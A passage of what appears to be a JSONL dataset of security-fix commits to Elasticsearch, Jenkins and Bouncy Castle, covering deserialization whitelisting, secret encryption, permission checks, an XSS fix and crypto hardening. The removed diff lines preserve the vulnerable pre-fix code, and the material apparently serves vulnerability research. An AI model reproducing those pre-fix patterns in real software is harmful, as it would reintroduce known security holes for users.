classes.add(Inet4Address.class);\n+ classes.add(InetAddress.class);\n+ classes.add(InetSocketAddress.class);\n+ classes.add(SocketAddress.class);\n+ classes.add(StackTraceElement.class);\n+ classes.add(JsonLocation.class); // JsonParseException uses this\n+ IdentityHashSet packages = new IdentityHashSet<>();\n+ packages.add(Integer.class.getPackage()); // java.lang\n+ packages.add(List.class.getPackage()); // java.util\n+ packages.add(ImmutableMap.class.getPackage()); // com.google.common.collect\n+ packages.add(DateTimeFieldType.class.getPackage()); // org.joda.time\n+ CLASS_WHITELIST = Collections.unmodifiableSet(classes);\n+ PKG_WHITELIST = Collections.unmodifiableSet(packages);\n+ }\n+\n+ private ObjectStreamClass verify(ObjectStreamClass streamClass) throws IOException, ClassNotFoundException {\n+ Class aClass = resolveClass(streamClass);\n+ Package pkg = aClass.getPackage();\n+ if (aClass.isPrimitive() // primitives are fine\n+ || aClass.isArray() // arrays are ok too\n+ || Throwable.class.isAssignableFrom(aClass)// exceptions are fine\n+ || CLASS_WHITELIST.contains(aClass) // whitelist JDK stuff we need\n+ || PKG_WHITELIST.contains(aClass.getPackage())\n+ || pkg.getName().startsWith(\"org.elasticsearch\")) { // es classes are ok\n+ return streamClass;\n+ }\n+ throw new NotSerializableException(aClass.getName());\n+ }\n }", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/hudson/util/HistoricalSecrets.java", "commit_id": "e6aa166246d1734f4798a9e31f78842f4c85c28b", "commit_message": "Merge pull request #105 from jenkinsci-cert/SECURITY-304-t3\n\n[SECURITY-304] Encrypt new secrets with CBC and random IV instead of ECB", "patch": "@@ -0,0 +1,84 @@\n+/*\n+ * The MIT License\n+ *\n+ * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi\n+ * Copyright (c) 2016, CloudBees Inc.\n+ *\n+ * Permission is hereby granted, free of charge, to any person obtaining a copy\n+ * of this software and associated documentation files (the \"Software\"), to deal\n+ * in the Software without restriction, including without limitation the rights\n+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n+ * copies of the Software, and to permit persons to whom the Software is\n+ * furnished to do so, subject to the following conditions:\n+ *\n+ * The above copyright notice and this permission notice shall be included in\n+ * all copies or substantial portions of the Software.\n+ *\n+ * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n+ * THE SOFTWARE.\n+ */\n+package hudson.util;\n+\n+import com.trilead.ssh2.crypto.Base64;\n+import hudson.Util;\n+import jenkins.model.Jenkins;\n+import jenkins.security.CryptoConfidentialKey;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.NoExternalUse;\n+\n+import javax.crypto.Cipher;\n+import javax.crypto.SecretKey;\n+import java.io.IOException;\n+import java.security.GeneralSecurityException;\n+\n+import static java.nio.charset.StandardCharsets.UTF_8;\n+\n+/**\n+ * Historical algorithms for decrypting {@link Secret}s.\n+ */\n+@Restricted(NoExternalUse.class)\n+public class HistoricalSecrets {\n+\n+ /*package*/ static Secret decrypt(String data, CryptoConfidentialKey key) throws IOException, GeneralSecurityException {\n+ byte[] in = Base64.decode(data.toCharArray());\n+ Secret s = tryDecrypt(key.decrypt(), in);\n+ if (s!=null) return s;\n+\n+ // try our historical key for backward compatibility\n+ Cipher cipher = Secret.getCipher(\"AES\");\n+ cipher.init(Cipher.DECRYPT_MODE, getLegacyKey());\n+ return tryDecrypt(cipher, in);\n+ }\n+\n+ /*package*/ static Secret tryDecrypt(Cipher cipher, byte[] in) {\n+ try {\n+ String plainText = new String(cipher.doFinal(in), UTF_8);\n+ if(plainText.endsWith(MAGIC))\n+ return new Secret(plainText.substring(0,plainText.length()-MAGIC.length()));\n+ return null;\n+ } catch (GeneralSecurityException e) {\n+ return null; // if the key doesn't match with the bytes, it can result in BadPaddingException\n+ }\n+ }\n+\n+ /**\n+ * Turns {@link Jenkins#getSecretKey()} into an AES key.\n+ *\n+ * @deprecated\n+ * This is no longer the key we use to encrypt new information, but we still need this\n+ * to be able to decrypt what's already persisted.\n+ */\n+ @Deprecated\n+ /*package*/ static SecretKey getLegacyKey() throws GeneralSecurityException {\n+ String secret = Secret.SECRET;\n+ if(secret==null) return Jenkins.getInstance().getSecretKeyAsAES128();\n+ return Util.toAes128Key(secret);\n+ }\n+\n+ private static final String MAGIC = \"::::MAGIC::::\";\n+}", "sections": [{"section": "@@ -0,0 +1,84 @@\n+/*\n+ * The MIT License\n+ *\n+ * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi\n+ * Copyright (c) 2016, CloudBees Inc.\n+ *\n+ * Permission is hereby granted, free of charge, to any person obtaining a copy\n+ * of this software and associated documentation files (the \"Software\"), to deal\n+ * in the Software without restriction, including without limitation the rights\n+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n+ * copies of the Software, and to permit persons to whom the Software is\n+ * furnished to do so, subject to the following conditions:\n+ *\n+ * The above copyright notice and this permission notice shall be included in\n+ * all copies or substantial portions of the Software.\n+ *\n+ * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n+ * THE SOFTWARE.\n+ */\n+package hudson.util;\n+\n+import com.trilead.ssh2.crypto.Base64;\n+import hudson.Util;\n+import jenkins.model.Jenkins;\n+import jenkins.security.CryptoConfidentialKey;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.NoExternalUse;\n+\n+import javax.crypto.Cipher;\n+import javax.crypto.SecretKey;\n+import java.io.IOException;\n+import java.security.GeneralSecurityException;\n+\n+import static java.nio.charset.StandardCharsets.UTF_8;\n+\n+/**\n+ * Historical algorithms for decrypting {@link Secret}s.\n+ */\n+@Restricted(NoExternalUse.class)\n+public class HistoricalSecrets {\n+\n+ /*package*/ static Secret decrypt(String data, CryptoConfidentialKey key) throws IOException, GeneralSecurityException {\n+ byte[] in = Base64.decode(data.toCharArray());\n+ Secret s = tryDecrypt(key.decrypt(), in);\n+ if (s!=null) return s;\n+\n+ // try our historical key for backward compatibility\n+ Cipher cipher = Secret.getCipher(\"AES\");\n+ cipher.init(Cipher.DECRYPT_MODE, getLegacyKey());\n+ return tryDecrypt(cipher, in);\n+ }\n+\n+ /*package*/ static Secret tryDecrypt(Cipher cipher, byte[] in) {\n+ try {\n+ String plainText = new String(cipher.doFinal(in), UTF_8);\n+ if(plainText.endsWith(MAGIC))\n+ return new Secret(plainText.substring(0,plainText.length()-MAGIC.length()));\n+ return null;\n+ } catch (GeneralSecurityException e) {\n+ return null; // if the key doesn't match with the bytes, it can result in BadPaddingException\n+ }\n+ }\n+\n+ /**\n+ * Turns {@link Jenkins#getSecretKey()} into an AES key.\n+ *\n+ * @deprecated\n+ * This is no longer the key we use to encrypt new information, but we still need this\n+ * to be able to decrypt what's already persisted.\n+ */\n+ @Deprecated\n+ /*package*/ static SecretKey getLegacyKey() throws GeneralSecurityException {\n+ String secret = Secret.SECRET;\n+ if(secret==null) return Jenkins.getInstance().getSecretKeyAsAES128();\n+ return Util.toAes128Key(secret);\n+ }\n+\n+ private static final String MAGIC = \"::::MAGIC::::\";\n+}", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/jenkins/model/Jenkins.java", "commit_id": "b88b20ec473200db35d0a0d29dcf192069106601", "commit_message": "Merge pull request #107 from jenkinsci-cert/SECURITY-406\n\n[SECURITY-406] Prevent user creation via GET /user/whatever", "patch": "@@ -2485,11 +2485,11 @@ private File getRootDirFor(String name) {\n /**\n * Gets the user of the given name.\n *\n- * @return the user of the given name (which may or may not be an id), if that person exists or the invoker {@link #hasPermission} on {@link #ADMINISTER}; else null\n+ * @return the user of the given name (which may or may not be an id), if that person exists; else null\n * @see User#get(String,boolean), {@link User#getById(String, boolean)}\n */\n public @CheckForNull User getUser(String name) {\n- return User.get(name,hasPermission(ADMINISTER));\n+ return User.get(name, User.ALLOW_USER_CREATION_VIA_URL && hasPermission(ADMINISTER));\n }\n \n public synchronized TopLevelItem createProject( TopLevelItemDescriptor type, String name ) throws IOException {", "sections": [{"section": "@@ -2485,11 +2485,11 @@ private File getRootDirFor(String name) {\n /**\n * Gets the user of the given name.\n *\n- * @return the user of the given name (which may or may not be an id), if that person exists or the invoker {@link #hasPermission} on {@link #ADMINISTER}; else null\n+ * @return the user of the given name (which may or may not be an id), if that person exists; else null\n * @see User#get(String,boolean), {@link User#getById(String, boolean)}\n */\n public @CheckForNull User getUser(String name) {\n- return User.get(name,hasPermission(ADMINISTER));\n+ return User.get(name, User.ALLOW_USER_CREATION_VIA_URL && hasPermission(ADMINISTER));\n }\n \n public synchronized TopLevelItem createProject( TopLevelItemDescriptor type, String name ) throws IOException {", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/hudson/model/AdministrativeMonitor.java", "commit_id": "6efcf6c2ac39bc5c59ac7251822be8ddf67ceaf8", "commit_message": "Merge pull request #85 from jenkinsci-cert/security-371-staplerproxy\n\n[SECURITY-371] Secure all administrative monitors", "patch": "@@ -34,8 +34,12 @@\n import java.io.IOException;\n \n import jenkins.model.Jenkins;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.NoExternalUse;\n+import org.kohsuke.stapler.StaplerProxy;\n import org.kohsuke.stapler.StaplerRequest;\n import org.kohsuke.stapler.StaplerResponse;\n+import org.kohsuke.stapler.interceptor.RequirePOST;\n \n /**\n * Checks the health of a subsystem of Jenkins and if there's something\n@@ -75,7 +79,7 @@\n * @see Jenkins#administrativeMonitors\n */\n @LegacyInstancesAreScopedToHudson\n-public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint {\n+public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint, StaplerProxy {\n /**\n * Human-readable ID of this monitor, which needs to be unique within the system.\n *\n@@ -143,12 +147,21 @@ public boolean isEnabled() {\n /**\n * URL binding to disable this monitor.\n */\n+ @RequirePOST\n public void doDisable(StaplerRequest req, StaplerResponse rsp) throws IOException {\n- Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);\n disable(true);\n rsp.sendRedirect2(req.getContextPath()+\"/manage\");\n }\n \n+ /**\n+ * Requires ADMINISTER permission for any operation in here.\n+ */\n+ @Restricted(NoExternalUse.class)\n+ public Object getTarget() {\n+ Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);\n+ return this;\n+ }\n+\n /**\n * All registered {@link AdministrativeMonitor} instances.\n */", "sections": [{"section": "@@ -34,8 +34,12 @@\n import java.io.IOException;\n \n import jenkins.model.Jenkins;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.NoExternalUse;\n+import org.kohsuke.stapler.StaplerProxy;\n import org.kohsuke.stapler.StaplerRequest;\n import org.kohsuke.stapler.StaplerResponse;\n+import org.kohsuke.stapler.interceptor.RequirePOST;\n \n /**\n * Checks the health of a subsystem of Jenkins and if there's something\n", "related": false}, {"section": "@@ -75,7 +79,7 @@\n * @see Jenkins#administrativeMonitors\n */\n @LegacyInstancesAreScopedToHudson\n-public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint {\n+public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint, StaplerProxy {\n /**\n * Human-readable ID of this monitor, which needs to be unique within the system.\n *\n", "related": false}, {"section": "@@ -143,12 +147,21 @@ public boolean isEnabled() {\n /**\n * URL binding to disable this monitor.\n */\n+ @RequirePOST\n public void doDisable(StaplerRequest req, StaplerResponse rsp) throws IOException {\n- Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);\n disable(true);\n rsp.sendRedirect2(req.getContextPath()+\"/manage\");\n }\n \n+ /**\n+ * Requires ADMINISTER permission for any operation in here.\n+ */\n+ @Restricted(NoExternalUse.class)\n+ public Object getTarget() {\n+ Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);\n+ return this;\n+ }\n+\n /**\n * All registered {@link AdministrativeMonitor} instances.\n */", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/hudson/model/ParameterValue.java", "commit_id": "fd2e081b947124c90bcd97bfc55e1a7f2ef41a74", "commit_message": "Merge pull request #95 from jenkinsci-cert/SECURITY-353\n\n[SECURITY-353] Persisted XSS in parameter definition names and value descriptions", "patch": "@@ -31,11 +31,16 @@\n import hudson.tasks.BuildWrapper;\n import hudson.tasks.Builder;\n import hudson.util.VariableResolver;\n+import java.io.IOException;\n \n import java.io.Serializable;\n import java.util.Map;\n+import java.util.logging.Logger;\n+import jenkins.model.Jenkins;\n \n import net.sf.json.JSONObject;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.DoNotUse;\n \n import org.kohsuke.stapler.StaplerRequest;\n import org.kohsuke.stapler.export.Exported;\n@@ -70,6 +75,9 @@\n */\n @ExportedBean(defaultVisibility=3)\n public abstract class ParameterValue implements Serializable {\n+\n+ private static final Logger LOGGER = Logger.getLogger(ParameterValue.class.getName());\n+\n protected final String name;\n \n private String description;\n@@ -91,6 +99,16 @@ public void setDescription(String description) {\n this.description = description;\n }\n \n+ @Restricted(DoNotUse.class) // for value.jelly\n+ public String getFormattedDescription() {\n+ try {\n+ return Jenkins.getInstance().getMarkupFormatter().translate(description);\n+ } catch (IOException e) {\n+ LOGGER.warning(\"failed to translate description using configured markup formatter\");\n+ return \"\";\n+ }\n+ }\n+\n /**\n * Name of the parameter.\n *", "sections": [{"section": "@@ -31,11 +31,16 @@\n import hudson.tasks.BuildWrapper;\n import hudson.tasks.Builder;\n import hudson.util.VariableResolver;\n+import java.io.IOException;\n \n import java.io.Serializable;\n import java.util.Map;\n+import java.util.logging.Logger;\n+import jenkins.model.Jenkins;\n \n import net.sf.json.JSONObject;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.DoNotUse;\n \n import org.kohsuke.stapler.StaplerRequest;\n import org.kohsuke.stapler.export.Exported;\n", "related": false}, {"section": "@@ -70,6 +75,9 @@\n */\n @ExportedBean(defaultVisibility=3)\n public abstract class ParameterValue implements Serializable {\n+\n+ private static final Logger LOGGER = Logger.getLogger(ParameterValue.class.getName());\n+\n protected final String name;\n \n private String description;\n", "related": false}, {"section": "@@ -91,6 +99,16 @@ public void setDescription(String description) {\n this.description = description;\n }\n \n+ @Restricted(DoNotUse.class) // for value.jelly\n+ public String getFormattedDescription() {\n+ try {\n+ return Jenkins.getInstance().getMarkupFormatter().translate(description);\n+ } catch (IOException e) {\n+ LOGGER.warning(\"failed to translate description using configured markup formatter\");\n+ return \"\";\n+ }\n+ }\n+\n /**\n * Name of the parameter.\n *", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "core/src/main/java/org/bouncycastle/crypto/generators/RSAKeyPairGenerator.java", "commit_id": "22467b6e8fe19717ecdf201c0cf91bacf04a55ad", "commit_message": "BJA-694 minor tweak to avoid method signature change", "patch": "@@ -157,8 +157,6 @@ public AsymmetricCipherKeyPair generateKeyPair()\n */\n protected BigInteger chooseRandomPrime(int bitlength, BigInteger e, BigInteger sqrdBound)\n {\n- int iterations = getNumberOfIterations(bitlength, param.getCertainty());\n-\n for (int i = 0; i != 5 * bitlength; i++)\n {\n BigInteger p = new BigInteger(bitlength, 1, param.getRandom());\n@@ -173,7 +171,7 @@ protected BigInteger chooseRandomPrime(int bitlength, BigInteger e, BigInteger s\n continue;\n }\n \n- if (!isProbablePrime(p, iterations))\n+ if (!isProbablePrime(p))\n {\n continue;\n }\n@@ -189,8 +187,10 @@ protected BigInteger chooseRandomPrime(int bitlength, BigInteger e, BigInteger s\n throw new IllegalStateException(\"unable to generate prime number for RSA key\");\n }\n \n- protected boolean isProbablePrime(BigInteger x, int iterations)\n+ protected boolean isProbablePrime(BigInteger x)\n {\n+ int iterations = getNumberOfIterations(x.bitLength(), param.getCertainty());\n+\n /*\n * Primes class for FIPS 186-4 C.3 primality checking\n */", "sections": [{"section": "@@ -157,8 +157,6 @@ public AsymmetricCipherKeyPair generateKeyPair()\n */\n protected BigInteger chooseRandomPrime(int bitlength, BigInteger e, BigInteger sqrdBound)\n {\n- int iterations = getNumberOfIterations(bitlength, param.getCertainty());\n-\n for (int i = 0; i != 5 * bitlength; i++)\n {\n BigInteger p = new BigInteger(bitlength, 1, param.getRandom());\n", "related": false}, {"section": "@@ -173,7 +171,7 @@ protected BigInteger chooseRandomPrime(int bitlength, BigInteger e, BigInteger s\n continue;\n }\n \n- if (!isProbablePrime(p, iterations))\n+ if (!isProbablePrime(p))\n {\n continue;\n }\n", "related": false}, {"section": "@@ -189,8 +187,10 @@ protected BigInteger chooseRandomPrime(int bitlength, BigInteger e, BigInteger s\n throw new IllegalStateException(\"unable to generate prime number for RSA key\");\n }\n \n- protected boolean isProbablePrime(BigInteger x, int iterations)\n+ protected boolean isProbablePrime(BigInteger x)\n {\n+ int iterations = getNumberOfIterations(x.bitLength(), param.getCertainty());\n+\n /*\n * Primes class for FIPS 186-4 C.3 primality checking\n */", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "prov/src/main/java/org/bouncycastle/jcajce/provider/asymmetric/rsa/CipherSpi.java", "commit_id": "21dcb3d9744c83dcf2ff8fcee06dbca7bfa4ef35", "commit_message": "modified IESEngine so that MAC check is the primary one\nadded general BadBlockException class for asymmetric ciphers.", "patch": "@@ -32,6 +32,7 @@\n import org.bouncycastle.crypto.engines.RSABlindedEngine;\n import org.bouncycastle.crypto.params.ParametersWithRandom;\n import org.bouncycastle.jcajce.provider.asymmetric.util.BaseCipherSpi;\n+import org.bouncycastle.jcajce.provider.util.BadBlockException;\n import org.bouncycastle.jcajce.provider.util.DigestFactory;\n import org.bouncycastle.jcajce.util.BCJcaJceHelper;\n import org.bouncycastle.jcajce.util.JcaJceHelper;\n@@ -528,15 +529,9 @@ private byte[] getOutput()\n \n return cipher.processBlock(bytes, 0, bytes.length);\n }\n- catch (final InvalidCipherTextException e)\n+ catch (InvalidCipherTextException e)\n {\n- throw new BadPaddingException(\"unable to decrypt block\")\n- {\n- public synchronized Throwable getCause()\n- {\n- return e;\n- }\n- };\n+ throw new BadBlockException(\"unable to decrypt block\", e);\n }\n finally\n {", "sections": [{"section": "@@ -32,6 +32,7 @@\n import org.bouncycastle.crypto.engines.RSABlindedEngine;\n import org.bouncycastle.crypto.params.ParametersWithRandom;\n import org.bouncycastle.jcajce.provider.asymmetric.util.BaseCipherSpi;\n+import org.bouncycastle.jcajce.provider.util.BadBlockException;\n import org.bouncycastle.jcajce.provider.util.DigestFactory;\n import org.bouncycastle.jcajce.util.BCJcaJceHelper;\n import org.bouncycastle.jcajce.util.JcaJceHelper;\n", "related": false}, {"section": "@@ -528,15 +529,9 @@ private byte[] getOutput()\n \n return cipher.processBlock(bytes, 0, bytes.length);\n }\n- catch (final InvalidCipherTextException e)\n+ catch (InvalidCipherTextException e)\n {\n- throw new BadPaddingException(\"unable to decrypt block\")\n- {\n- public synchronized Throwable getCause()\n- {\n- return e;\n- }\n- };\n+ throw new BadBlockException(\"unable to decrypt block\", e);\n }\n finally\n {", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "prov/src/main/java/org/bouncycastle/jce/spec/IESParameterSpec.java", "commit_id": "9385b0ebd277724b167fe1d1456e3c112112be1f", "commit_message": "removed support for non-cbc mode ciphers in IES/ECIES", "patch": "@@ -33,24 +33,6 @@ public IESParameterSpec(\n this(derivation, encoding, macKeySize, -1, null, false);\n }\n \n-\n- /**\n- * Set the IES engine parameters.\n- *\n- * @param derivation the optional derivation vector for the KDF.\n- * @param encoding the optional encoding vector for the KDF.\n- * @param macKeySize the key size (in bits) for the MAC.\n- * @param cipherKeySize the key size (in bits) for the block cipher.\n- */\n- public IESParameterSpec(\n- byte[] derivation,\n- byte[] encoding,\n- int macKeySize,\n- int cipherKeySize)\n- {\n- this(derivation, encoding, macKeySize, cipherKeySize, null, false);\n- }\n-\n /**\n * Set the IES engine parameters.\n *", "sections": [{"section": "@@ -33,24 +33,6 @@ public IESParameterSpec(\n this(derivation, encoding, macKeySize, -1, null, false);\n }\n \n-\n- /**\n- * Set the IES engine parameters.\n- *\n- * @param derivation the optional derivation vector for the KDF.\n- * @param encoding the optional encoding vector for the KDF.\n- * @param macKeySize the key size (in bits) for the MAC.\n- * @param cipherKeySize the key size (in bits) for the block cipher.\n- */\n- public IESParameterSpec(\n- byte[] derivation,\n- byte[] encoding,\n- int macKeySize,\n- int cipherKeySize)\n- {\n- this(derivation, encoding, macKeySize, cipherKeySize, null, false);\n- }\n-\n /**\n * Set the IES engine parameters.\n *", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "prov/src/main/java/org/bouncycastle/jce/spec/IESParameterSpec.java", "commit_id": "9385b0ebd277724b167fe1d1456e3c112112be1f", "commit_message": "removed support for non-cbc mode ciphers in IES/ECIES", "patch": "@@ -33,24 +33,6 @@ public IESParameterSpec(\n this(derivation, encoding, macKeySize, -1, null, false);\n }\n \n-\n- /**\n- * Set the IES engine parameters.\n- *\n- * @param derivation the optional derivation vector for the KDF.\n- * @param encoding the optional encoding vector for the KDF.\n- * @param macKeySize the key size (in bits) for the MAC.\n- * @param cipherKeySize the key size (in bits) for the block cipher.\n- */\n- public IESParameterSpec(\n- byte[] derivation,\n- byte[] encoding,\n- int macKeySize,\n- int cipherKeySize)\n- {\n- this(derivation, encoding, macKeySize, cipherKeySize, null, false);\n- }\n-\n /**\n * Set the IES engine parameters.\n *", "sections": [{"section": "@@ -33,24 +33,6 @@ public IESParameterSpec(\n this(derivation, encoding, macKeySize, -1, null, false);\n }\n \n-\n- /**\n- * Set the IES engine parameters.\n- *\n- * @param derivation the optional derivation vector for the KDF.\n- * @param encoding the optional encoding vector for the KDF.\n- * @param macKeySize the key size (in bits) for the MAC.\n- * @param cipherKeySize the key size (in bits) for the block cipher.\n- */\n- public IESParameterSpec(\n- byte[] derivation,\n- byte[] encoding,\n- int macKeySize,\n- int cipherKeySize)\n- {\n- this(derivation, encoding, macKeySize, cipherKeySize, null, false);\n- }\n-\n /**\n * Set the IES engine parameters.\n *", "related": false}]} +{"owner": "bcgit", "repo": "bc-java", "language": "Java", "file_name": "core/src/main/java/org/bouncycastle/crypto/engines/AESEngine.java", "commit_id": "413b42f4d770456508585c830cfcde95f9b0e93b", "commit_message": "added better support for DH domain parameters\nadded s box allocation to AESEngine\nreduced use of AESFastEngine.", "patch": "@@ -5,6 +5,7 @@\n import org.bouncycastle.crypto.DataLengthException;\n import org.bouncycastle.crypto.OutputLengthException;\n import org.bouncycastle.crypto.params.KeyParameter;\n+import org.bouncycastle.util.Arrays;\n import org.bouncycastle.util.Pack;\n \n /**\n@@ -415,6 +416,8 @@ private int[][] generateWorkingKey(byte[] key, boolean forEncryption)\n private int C0, C1, C2, C3;\n private boolean forEncryption;\n \n+ private byte[] s;\n+\n private static final int BLOCK_SIZE = 16;\n \n /**\n@@ -440,6 +443,14 @@ public void init(\n {\n WorkingKey = generateWorkingKey(((KeyParameter)params).getKey(), forEncryption);\n this.forEncryption = forEncryption;\n+ if (forEncryption)\n+ {\n+ s = Arrays.clone(S);\n+ }\n+ else\n+ {\n+ s = Arrays.clone(Si);\n+ }\n return;\n }\n \n@@ -578,10 +589,10 @@ private void encryptBlock(int[][] KW)\n \n // the final round's table is a simple function of S so we don't use a whole other four tables for it\n \n- this.C0 = (S[r0&255]&255) ^ ((S[(r1>>8)&255]&255)<<8) ^ ((S[(r2>>16)&255]&255)<<16) ^ (S[(r3>>24)&255]<<24) ^ KW[r][0];\n- this.C1 = (S[r1&255]&255) ^ ((S[(r2>>8)&255]&255)<<8) ^ ((S[(r3>>16)&255]&255)<<16) ^ (S[(r0>>24)&255]<<24) ^ KW[r][1];\n- this.C2 = (S[r2&255]&255) ^ ((S[(r3>>8)&255]&255)<<8) ^ ((S[(r0>>16)&255]&255)<<16) ^ (S[(r1>>24)&255]<<24) ^ KW[r][2];\n- this.C3 = (S[r3&255]&255) ^ ((S[(r0>>8)&255]&255)<<8) ^ ((S[(r1>>16)&255]&255)<<16) ^ (S[(r2>>24)&255]<<24) ^ KW[r][3];\n+ this.C0 = (S[r0&255]&255) ^ ((S[(r1>>8)&255]&255)<<8) ^ ((s[(r2>>16)&255]&255)<<16) ^ (s[(r3>>24)&255]<<24) ^ KW[r][0];\n+ this.C1 = (s[r1&255]&255) ^ ((S[(r2>>8)&255]&255)<<8) ^ ((S[(r3>>16)&255]&255)<<16) ^ (s[(r0>>24)&255]<<24) ^ KW[r][1];\n+ this.C2 = (s[r2&255]&255) ^ ((S[(r3>>8)&255]&255)<<8) ^ ((S[(r0>>16)&255]&255)<<16) ^ (S[(r1>>24)&255]<<24) ^ KW[r][2];\n+ this.C3 = (s[r3&255]&255) ^ ((s[(r0>>8)&255]&255)<<8) ^ ((s[(r1>>16)&255]&255)<<16) ^ (S[(r2>>24)&255]<<24) ^ KW[r][3];\n }\n \n private void decryptBlock(int[][] KW)\n@@ -610,9 +621,9 @@ private void decryptBlock(int[][] KW)\n \n // the final round's table is a simple function of Si so we don't use a whole other four tables for it\n \n- this.C0 = (Si[r0&255]&255) ^ ((Si[(r3>>8)&255]&255)<<8) ^ ((Si[(r2>>16)&255]&255)<<16) ^ (Si[(r1>>24)&255]<<24) ^ KW[0][0];\n- this.C1 = (Si[r1&255]&255) ^ ((Si[(r0>>8)&255]&255)<<8) ^ ((Si[(r3>>16)&255]&255)<<16) ^ (Si[(r2>>24)&255]<<24) ^ KW[0][1];\n- this.C2 = (Si[r2&255]&255) ^ ((Si[(r1>>8)&255]&255)<<8) ^ ((Si[(r0>>16)&255]&255)<<16) ^ (Si[(r3>>24)&255]<<24) ^ KW[0][2];\n- this.C3 = (Si[r3&255]&255) ^ ((Si[(r2>>8)&255]&255)<<8) ^ ((Si[(r1>>16)&255]&255)<<16) ^ (Si[(r0>>24)&255]<<24) ^ KW[0][3];\n+ this.C0 = (Si[r0&255]&255) ^ ((s[(r3>>8)&255]&255)<<8) ^ ((s[(r2>>16)&255]&255)<<16) ^ (Si[(r1>>24)&255]<<24) ^ KW[0][0];\n+ this.C1 = (s[r1&255]&255) ^ ((s[(r0>>8)&255]&255)<<8) ^ ((Si[(r3>>16)&255]&255)<<16) ^ (s[(r2>>24)&255]<<24) ^ KW[0][1];\n+ this.C2 = (s[r2&255]&255) ^ ((Si[(r1>>8)&255]&255)<<8) ^ ((Si[(r0>>16)&255]&255)<<16) ^ (s[(r3>>24)&255]<<24) ^ KW[0][2];\n+ this.C3 = (Si[r3&255]&255) ^ ((s[(r2>>8)&255]&255)<<8) ^ ((s[(r1>>16)&255]&255)<<16) ^ (s[(r0>>24)&255]<<24) ^ KW[0][3];\n }\n }", "sections": [{"section": "@@ -5,6 +5,7 @@\n import org.bouncycastle.crypto.DataLengthException;\n import org.bouncycastle.crypto.OutputLengthException;\n import org.bouncycastle.crypto.params.KeyParameter;\n+import org.bouncycastle.util.Arrays;\n import org.bouncycastle.util.Pack;\n \n /**\n", "related": false}, {"section": "@@ -415,6 +416,8 @@ private int[][] generateWorkingKey(byte[] key, boolean forEncryption)\n private int C0, C1, C2, C3;\n private boolean forEncryption;\n \n+ private byte[] s;\n+\n private static final int BLOCK_SIZE = 16;\n \n /**\n", "related": false}, {"section": "@@ -440,6 +443,14 @@ public void init(\n {\n WorkingKey = generateWorkingKey(((KeyParameter)params).getKey(), forEncryption);\n this.forEncryption = forEncryption;\n+ if (forEncryption)\n+ {\n+ s = Arrays.clone(S);\n+ }\n+ else\n+ {\n+ s = Arrays.clone(Si);\n+ }\n return;\n }\n \n", "related": false}, {"section": "@@ -578,10 +589,10 @@ private void encryptBlock(int[][] KW)\n \n // the final round's table is a simple function of S so we don't use a whole other four tables for it\n \n- this.C0 = (S[r0&255]&255) ^ ((S[(r1>>8)&255]&255)<<8) ^ ((S[(r2>>16)&255]&255)<<16) ^ (S[(r3>>24)&255]<<24) ^ KW[r][0];\n- this.C1 = (S[r1&255]&255) ^ ((S[(r2>>8)&255]&255)<<8) ^ ((S[(r3>>16)&255]&255)<<16) ^ (S[(r0>>24)&255]<<24) ^ KW[r][1];\n- this.C2 = (S[r2&255]&255) ^ ((S[(r3>>8)&255]&255)<<8) ^ ((S[(r0>>16)&255]&255)<<16) ^ (S[(r1>>24)&255]<<24) ^ KW[r][2];\n- this.C3 = (S[r3&255]&255) ^ ((S[(r0>>8)&255]&255)<<8) ^ 